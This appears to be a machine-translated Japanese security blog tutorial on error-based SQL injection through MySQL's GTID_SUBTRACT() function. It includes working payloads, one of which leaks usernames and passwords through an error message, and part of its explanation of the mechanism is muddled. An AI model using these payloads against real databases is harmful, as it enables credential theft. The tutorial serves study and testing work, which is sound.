[SQLインジェクション-エラーインジェクション2] GTID_SUBTRACT()関数のエラーインジェクション

目次

GTID_SUBTRACT() エラー挿入

1. 文法の紹介:

2. エラーの理由

ネットワークセキュリティ同人誌


(***注: バージョン要件に注意してください)

GTID_SUBTRACT () エラー挿入

1. 文法の紹介:

バージョン:

MySQL >=5.6

GTID_SUBTRACT() 関数は、2 つのグローバル トランザクション識別子 (GTID) 間の差異を計算する MySQL の関数です。GTID は MySQL 5.6 で導入されたグローバル トランザクション識別子であり、データベース内のトランザクションを追跡するために使用されます。


文法:

GTID_SUBTRACT(gtid_set, gtid)

このうち、gtid_set は GTID セット、gtid は単一の GTID です。この関数は、gtid_set から gtid を減算した後の残りを表す新しい GTID セットを返します。


原理:

  1. まず、gtid_set を個々の GTID に分割します。
  2. 次に、各 GTID を反復処理して、GTID と同じかどうかを確認します。同じ場合は、gtid_set から削除されます。
  3. 最後に、残りの GTID を新しい GTID セットに再構築して返します。


使用するシーン:

  1. データベース レプリケーション: マスター データベースでトランザクションが実行されると、GTID が生成され、スレーブ データベースに渡されます。スレーブ データベースは GTID_SUBTRACT() 関数を使用してマスター データベースとスレーブ データベースの差を計算し、どのデータをレプリケートする必要があるかを決定できます。
  2. データベースの移行: あるデータベースから別のデータベースにデータを移行する必要がある場合、GTID_SUBTRACT() 関数を使用して 2 つのデータベース間の差異を計算し、差異内のデータのみをコピーできます。



2. エラーの理由

原因:

1. GTID (グローバル トランザクション ID) は、MySQL でグローバル トランザクションを識別するために使用される一意の識別子です。

2. GTID_SUBTRACT() 関数を使用すると、2 つの GTID セットの差を計算し、ある GTID セットには存在するが、別の GTID セットには存在しないトランザクションを特定できます。

3. 悪意のある SQL コードを gtid_set1 または gtid_set2 パラメータに挿入します。このようにして、GTID_SUBTRACT() 関数が実行されると、悪意のあるコードが実行されます。


ペイロード:

select GTID_SUBTRACT(user(),1)

') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from 表名),0x7e),1)--+

//GROUP_CONCAT()函数将它们组合成一个字符串
//concat()函数用于连接字符串
//0x7e表示波浪符(~)


グラフィック:

root@localhost

 



ネットワークセキュリティ同人誌

README.md 書籍 Bansheng/ネットワーク セキュリティ ナレッジ システム - プラクティス センター - コード クラウド - オープン ソース 中国 (gitee.com)https://gitee.com/shubansheng/Treasure_knowledge/blob/master/README.md icon-default.png?t=N658https://gitee. com/shubansheng/Treasure_knowledge/blob/master/README.md

GitHub - BLACKxZONE/Treasure_knowledge https://github.com/BLACKxZONE/Treasure_knowledge

おすすめ

転載: blog.csdn.net/qq_53079406/article/details/131635814